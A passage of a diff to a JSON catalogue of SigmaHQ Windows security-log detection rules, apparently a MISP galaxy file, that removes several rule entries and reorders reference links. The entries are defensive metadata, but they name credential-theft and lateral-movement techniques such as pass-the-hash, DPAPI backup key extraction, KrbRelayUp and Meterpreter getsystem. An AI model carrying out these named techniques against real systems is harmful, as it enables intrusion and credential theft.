Jeff Warren (method) / David Vassallo (rule)", - "creation_date": "2019/06/14", - "falsepositive": [ - "Administrator activity" - ], - "filename": "win_security_pass_the_hash_2.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/", - "https://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis", - "https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_pass_the_hash_2.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1550.002" - ] - }, - "related": [ - { - "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "8eef149c-bd26-49f2-9e5a-9b00e3af499b", - "value": "Pass the Hash Activity 2" - }, { "description": "Detects renaming of file while deletion with SDelete tool.", "meta": { @@ -5901,8 +5809,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/sdelete.htm", "https://docs.microsoft.com/en-gb/sysinternals/downloads/sdelete", + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/sdelete.htm", "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_sdelete.yml" ], @@ -5949,27 +5857,6 @@ "uuid": "39a80702-d7ca-4a83-b776-525b1f86a36d", "value": "Secure Deletion with SDelete" }, - { - "description": "Detects logon events that specify new credentials", - "meta": { - "author": "Max Altgelt (Nextron Systems)", - "creation_date": "2022/04/06", - "falsepositive": [ - "Legitimate remote administration activity" - ], - "filename": "win_security_susp_logon_newcredentials.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_logon_newcredentials.yml" - ], - "tags": "No established tags" - }, - "uuid": "def8b624-e08f-4ae1-8612-1ba21190da6b", - "value": "Outgoing Logon with New Credentials" - }, { "description": "Detects certificate creation with template allowing risk permission subject", "meta": { @@ -6030,74 +5917,6 @@ "uuid": "12e6d621-194f-4f59-90cc-1959e21e69f7", "value": "Register new Logon Process by Rubeus" }, - { - "description": "Detects activity mentioned in Operation Wocao report", - "meta": { - "author": "Florian Roth (Nextron Systems), frack113", - "creation_date": "2019/12/20", - "falsepositive": [ - "Administrators that use checkadmin.exe tool to enumerate local administrators" - ], - "filename": "win_security_apt_wocao.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/SBousseaden/status/1207671369963646976", - "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_wocao.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1012", - "attack.defense_evasion", - "attack.t1036.004", - "attack.t1027", - "attack.execution", - "attack.t1053.005", - "attack.t1059.001" - ] - }, - "related": [ - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "74ad4314-482e-4c3e-b237-3f7ed3b9ca8d", - "value": "Operation Wocao Activity - Security" - }, { "description": "Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.", "meta": { @@ -6111,8 +5930,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", "https://twitter.com/_dirkjan/status/1309214379003588608", + "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dce_rpc_smb_spoolss_named_pipe.yml" ], @@ -6238,9 +6057,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://threathunterplaybook.com/hunts/windows/180815-ADObjectAccessReplication/notebook.html", "https://threathunterplaybook.com/library/windows/active_directory_replication.html", "https://threathunterplaybook.com/hunts/windows/190101-ADModDirectoryReplication/notebook.html", - "https://threathunterplaybook.com/hunts/windows/180815-ADObjectAccessReplication/notebook.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_object_writedac_access.yml" ], "tags": [ @@ -6358,35 +6177,6 @@ "uuid": "fd0f5778-d3cb-4c9a-9695-66759d04702a", "value": "Invoke-Obfuscation Obfuscated IEX Invocation - Security" }, - { - "description": "Configure systems to issue a log entry and alert when an account is added to or removed from any group assigned administrative privileges.\nSigma detects\nEvent ID 4728 indicates a ‘Member is added to a Security Group’.\nEvent ID 4729 indicates a ‘Member is removed from a Security enabled-group’ .\nEvent ID 4730 indicates a ‘Security Group is deleted’.\nThe case is not applicable for Unix OS.\nSupported OS - Windows 2008 R2 and 7, Windows 2012 R2 and 8.1, Windows 2016 and 10 Windows Server 2019, Windows Server 2000, Windows 2003 and XP.\n", - "meta": { - "author": "Alexandr Yampolskyi, SOC Prime", - "creation_date": "2019/03/26", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_group_modification_logging.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4730", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=633", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4729", - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=634", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", - "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4728", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=632", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_group_modification_logging.yml" - ], - "tags": "No established tags" - }, - "uuid": "9cf01b6c-e723-4841-a868-6d7f8245ca6e", - "value": "Group Modification Logging" - }, { "description": "Transferring files with well-known filenames (sensitive files with credential data) using network shares", "meta": { @@ -6436,31 +6226,6 @@ "uuid": "910ab938-668b-401b-b08c-b596e80fdca5", "value": "Transferring Files with Credential Data via Network Shares" }, - { - "description": "Detects logon events that have characteristics of events generated during an attack with KrbRelayUp and the like", - "meta": { - "author": "@SBousseaden, Florian Roth", - "creation_date": "2022/04/27", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_susp_krbrelayup.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/sbousseaden/status/1518976397364056071?s=12&t=qKO5eKHvWhAP19a50FTZ7g", - "https://github.com/elastic/detection-rules/blob/fb6ee2c69864ffdfe347bf3b050cb931f53067a6/rules/windows/privilege_escalation_krbrelayup_suspicious_logon.toml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_krbrelayup.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.credential_access" - ] - }, - "uuid": "749c9f5e-b353-4b90-a9c1-05243357ca4b", - "value": "KrbRelayUp Attack Pattern" - }, { "description": "Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986", "meta": { @@ -6508,8 +6273,8 @@ "logsource.product": "windows", "refs": [ "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/", - "https://github.com/fox-it/LDAPFragger", "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", + "https://github.com/fox-it/LDAPFragger", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_ldap_dataexchange.yml" ], "tags": [ @@ -6650,9 +6415,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://blog.alsid.eu/dcshadow-explained-4510f52fc19d", "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2", "https://twitter.com/gentilkiwi/status/1003236624925413376", - "https://blog.alsid.eu/dcshadow-explained-4510f52fc19d", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_possible_dc_shadow.yml" ], "tags": [ @@ -6705,57 +6470,6 @@ "uuid": "4ac1f50b-3bd0-4968-902d-868b4647937e", "value": "DPAPI Domain Backup Key Extraction" }, - { - "description": "Detects successful logon from public IP address via SMB. This can indicate a publicly-exposed SMB port.", - "meta": { - "author": "Micah Babinski (@micahbabinski), Zach Mathis (@yamatosecurity)", - "creation_date": "2023/01/19", - "falsepositive": [ - "Legitimate or intentional inbound connections from public IP addresses on the SMB port." - ], - "filename": "win_security_successful_external_remote_smb_login.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.inversecos.com/2020/04/successful-4624-anonymous-logons-to.html", - "https://twitter.com/Purp1eW0lf/status/1616144561965002752", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_successful_external_remote_smb_login.yml" - ], - "tags": [ - "attack.initial_access", - "attack.credential_access", - "attack.t1133", - "attack.t1078", - "attack.t1110" - ] - }, - "related": [ - { - "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "78d5cab4-557e-454f-9fb9-a222bd0d5edc", - "value": "External Remote SMB Logon from Public IP" - }, { "description": "Detects scheduled task deletion events. Scheduled tasks are likely to be deleted if not used for persistence. Malicious Software often creates tasks directly under the root node e.g. \\TASKNAME", "meta": { @@ -6769,8 +6483,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4699", "https://twitter.com/matthewdunwoody/status/1352356685982146562", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4699", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scheduled_task_deletion.yml" ], "tags": [ @@ -6847,9 +6561,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4616", "Live environment caused by malware", "Private Cuckoo Sandbox (from many years ago, no longer have hash, NDA as well)", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4616", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_time_modification.yml" ], "tags": [ @@ -6910,56 +6624,6 @@ "uuid": "d3abac66-f11c-4ed0-8acb-50cc29c97eed", "value": "NetNTLM Downgrade Attack" }, - { - "description": "A login from a public IP can indicate a misconfigured firewall or network boundary.", - "meta": { - "author": "NVISO", - "creation_date": "2020/05/06", - "falsepositive": [ - "Legitimate logon attempts over the internet", - "IPv4-to-IPv6 mapped IPs" - ], - "filename": "win_security_susp_failed_logon_source.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logon_source.yml" - ], - "tags": [ - "attack.initial_access", - "attack.persistence", - "attack.t1078", - "attack.t1190", - "attack.t1133" - ] - }, - "related": [ - { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "f88e112a-21aa-44bd-9b01-6ee2a2bbbed1", - "value": "Failed Logon From Public IP" - }, { "description": "Detects the registration of the security event source VSSAudit. It would usually trigger when volume shadow copy operations happen.", "meta": { @@ -6993,40 +6657,6 @@ "uuid": "e9faba72-4974-4ab2-a4c5-46e25ad59e9b", "value": "VSSAudit Security Event Source Registration" }, - { - "description": "RDP login with localhost source address may be a tunnelled login", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2019/01/28", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_rdp_localhost_login.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_localhost_login.yml" - ], - "tags": [ - "attack.lateral_movement", - "car.2013-07-002", - "attack.t1021.001" - ] - }, - "related": [ - { - "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "51e33403-2a37-4d66-a574-1fda1782cc31", - "value": "RDP Login from Localhost" - }, { "description": "The Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers. Attackers may change the password to gain persistence.", "meta": { @@ -7060,64 +6690,6 @@ "uuid": "53ad8e36-f573-46bf-97e4-15ba5bf4bb51", "value": "Password Change on Directory Service Restore Mode (DSRM) Account" }, - { - "description": "Detects outlook initiating connection to a WebDAV or SMB share, which could be a sign of CVE-2023-23397 exploitation.", - "meta": { - "author": "Robert Lee @quantum_cookie", - "creation_date": "2023/03/16", - "falsepositive": [ - "Searchprotocolhost.exe likes to query these registry keys. To avoid false postives, it's better to filter out those events before they reach the SIEM" - ], - "filename": "win_security_exploit_cve_2023_23397_outlook_remote_file_query.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.trustedsec.com/blog/critical-outlook-vulnerability-in-depth-technical-analysis-and-recommendations-cve-2023-23397/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_exploit_cve_2023_23397_outlook_remote_file_query.yml" - ], - "tags": [ - "attack.credential_access", - "attack.initial_access", - "cve.2023.23397" - ] - }, - "uuid": "73c59189-6a6d-4b9f-a748-8f6f9bbed75c", - "value": "CVE-2023-23397 Exploitation Attempt" - }, - { - "description": "Detection of logins performed with WMI", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2019/12/04", - "falsepositive": [ - "Monitoring tools", - "Legitimate system administration" - ], - "filename": "win_security_susp_wmi_login.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_wmi_login.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ] - }, - "related": [ - { - "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "5af54681-df95-4c26-854f-2565e13cfab0", - "value": "Login with WMI" - }, { "description": "Detects Obfuscated use of stdin to execute PowerShell", "meta": { @@ -7160,41 +6732,6 @@ "uuid": "0c718a5e-4284-4fb9-b4d9-b9a50b3a1974", "value": "Invoke-Obfuscation STDIN+ Launcher - Security" }, - { - "description": "This rule tries to detect token impersonation and theft. (Example: DuplicateToken(Ex) and ImpersonateLoggedOnUser with the LOGON32_LOGON_NEW_CREDENTIALS flag.)", - "meta": { - "author": "Michaela Adams, Zach Mathis", - "creation_date": "2022/11/06", - "falsepositive": [ - "Anti-Virus" - ], - "filename": "win_security_access_token_abuse.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.manageengine.com/log-management/cyber-security/access-token-manipulation.html", - "https://www.elastic.co/fr/blog/how-attackers-abuse-access-token-manipulation", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_access_token_abuse.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1134.001" - ] - }, - "related": [ - { - "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "02f7c9c1-1ae8-4c6a-8add-04693807f92f", - "value": "Access Token Abuse" - }, { "description": "Detects code integrity failures such as missing page hashes or corrupted drivers due unauthorized modification. This could be a sign of tampered binaries.", "meta": { @@ -7240,8 +6777,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf", "https://twitter.com/menasec1/status/1111556090137903104", + "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_backdoor_dcsync_rights.yml" ], "tags": [ @@ -7536,8 +7073,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4649", "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4649", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_replay_attack_detected.yml" ], "tags": "No established tags" @@ -7559,9 +7096,9 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/SecurityJosh/status/1283027365770276866", - "https://twitter.com/Flangvik/status/1283054508084473861", "https://securityjosh.github.io/2020/04/23/Mute-Sysmon.html", "https://gist.github.com/Cyb3rWard0g/cf08c38c61f7e46e8404b38201ca01c8", + "https://twitter.com/Flangvik/status/1283054508084473861", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sysmon_channel_reference_deletion.yml" ], "tags": [ @@ -7874,9 +7411,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/splunk/security_content/blob/develop/detections/endpoint/petitpotam_suspicious_kerberos_tgt_request.yml", "https://isc.sans.edu/forums/diary/Active+Directory+Certificate+Services+ADCS+PKI+domain+admin+vulnerability/27668/", "https://github.com/topotam/PetitPotam", + "https://github.com/splunk/security_content/blob/develop/detections/endpoint/petitpotam_suspicious_kerberos_tgt_request.yml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_susp_tgt_request.yml" ], "tags": [ @@ -7909,8 +7446,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4673", "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4673", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_driver_loaded.yml" ], "tags": [ @@ -8014,40 +7551,6 @@ "uuid": "ecbc5e16-58e0-4521-9c60-eb9a7ea4ad34", "value": "Meterpreter or Cobalt Strike Getsystem Service Installation - Security" }, - { - "description": "Detects logon events that have characteristics of events generated during an attack with RottenPotato and the like", - "meta": { - "author": "@SBousseaden, Florian Roth", - "creation_date": "2019/11/15", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_susp_rottenpotato.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/SBousseaden/status/1195284233729777665", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_rottenpotato.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.credential_access", - "attack.t1557.001" - ] - }, - "related": [ - { - "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "16f5d8ca-44bd-47c8-acbe-6fc95a16c12f", - "value": "RottenPotato Like Attack Pattern" - }, { "description": "Detects service ticket requests using RC4 encryption type", "meta": { @@ -8062,8 +7565,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://adsecurity.org/?p=3458", "https://www.trimarcsecurity.com/single-post/TrimarcResearch/Detecting-Kerberoasting-Activity", + "https://adsecurity.org/?p=3458", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_rc4_kerberos.yml" ], "tags": [ @@ -8083,41 +7586,6 @@ "uuid": "496a0e47-0a33-4dca-b009-9e6ca3591f39", "value": "Suspicious Kerberos RC4 Ticket Encryption" }, - { - "description": "Detect potential adversaries leveraging WMI ActiveScriptEventConsumers remotely to move laterally in a network", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/09/02", - "falsepositive": [ - "SCCM" - ], - "filename": "win_security_scrcons_remote_wmi_scripteventconsumer.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/hunts/windows/200902-RemoteWMIActiveScriptEventConsumers/notebook.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scrcons_remote_wmi_scripteventconsumer.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", - "attack.persistence", - "attack.t1546.003" - ] - }, - "related": [ - { - "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "9599c180-e3a8-4743-8f92-7fb96d3be648", - "value": "Remote WMI ActiveScriptEventConsumers" - }, { "description": "Detects scenarios where an windows defender exclusion was added in registry where an entity would want to bypass antivirus scanning from windows defender", "meta": { @@ -8238,9 +7706,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4741", "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4743", - "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_add_remove_computer.yml" ], "tags": "No established tags" @@ -8388,41 +7856,6 @@ "uuid": "2a926e6a-4b81-4011-8a96-e36cc8c04302", "value": "PowerShell Scripts Installed as Services - Security" }, - { - "description": "Detects the use of a scanner by zerosum0x0 that discovers targets vulnerable to CVE-2019-0708 RDP RCE aka BlueKeep", - "meta": { - "author": "Florian Roth (Nextron Systems), Adam Bradbury (idea)", - "creation_date": "2019/06/02", - "falsepositive": [ - "Unlikely" - ], - "filename": "win_security_rdp_bluekeep_poc_scanner.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/zerosum0x0/CVE-2019-0708", - "https://twitter.com/AdamTheAnalyst/status/1134394070045003776", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_bluekeep_poc_scanner.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1210", - "car.2013-07-002" - ] - }, - "related": [ - { - "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "8400629e-79a9-4737-b387-5db940ab2367", - "value": "Scanner PoC for CVE-2019-0708 RDP RCE Vuln" - }, { "description": "This event is generated when an authenticated user who is not allowed to log on remotely attempts to connect to this computer through Remote Desktop.\nOften, this event can be generated by attackers when searching for available windows servers in the network.\n", "meta": { @@ -8577,9 +8010,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://threathunterplaybook.com/hunts/windows/180815-ADObjectAccessReplication/notebook.html", "https://threathunterplaybook.com/library/windows/active_directory_replication.html", "https://threathunterplaybook.com/hunts/windows/190101-ADModDirectoryReplication/notebook.html", - "https://threathunterplaybook.com/hunts/windows/180815-ADObjectAccessReplication/notebook.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_replication_non_machine_account.yml" ], "tags": [ @@ -8633,10 +8066,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4800", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4800", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_workstation_was_locked.yml" ], "tags": "No established tags" @@ -8657,16 +8090,16 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "http://managed670.rssing.com/chan-5590147/all_p1.html", - "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", - "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", - "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf", "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", + "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf", + "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", + "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://twitter.com/_xpn_/status/1268712093928378368", + "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", "https://bunnyinside.com/?term=f71e8cb9c76a", "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", - "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", - "https://twitter.com/_xpn_/status/1268712093928378368", + "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dot_net_etw_tamper.yml" ], "tags": [ @@ -8870,8 +8303,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://o365blog.com/post/hybridhealthagent/", "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_service_agent.yml", + "https://o365blog.com/post/hybridhealthagent/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_svc_agent_regkey_access.yml" ], "tags": [ @@ -8891,57 +8324,6 @@ "uuid": "1d2ab8ac-1a01-423b-9c39-001510eae8e8", "value": "Azure AD Health Service Agents Registry Keys Access" }, - { - "description": "Detects successful logon from public IP address via RDP. This can indicate a publicly-exposed RDP port.", - "meta": { - "author": "Micah Babinski (@micahbabinski), Zach Mathis (@yamatosecurity)", - "creation_date": "2023/01/19", - "falsepositive": [ - "Legitimate or intentional inbound connections from public IP addresses on the RDP port." - ], - "filename": "win_security_successful_external_remote_rdp_login.yml", - "level": "medium", - "logsource.category": "No established 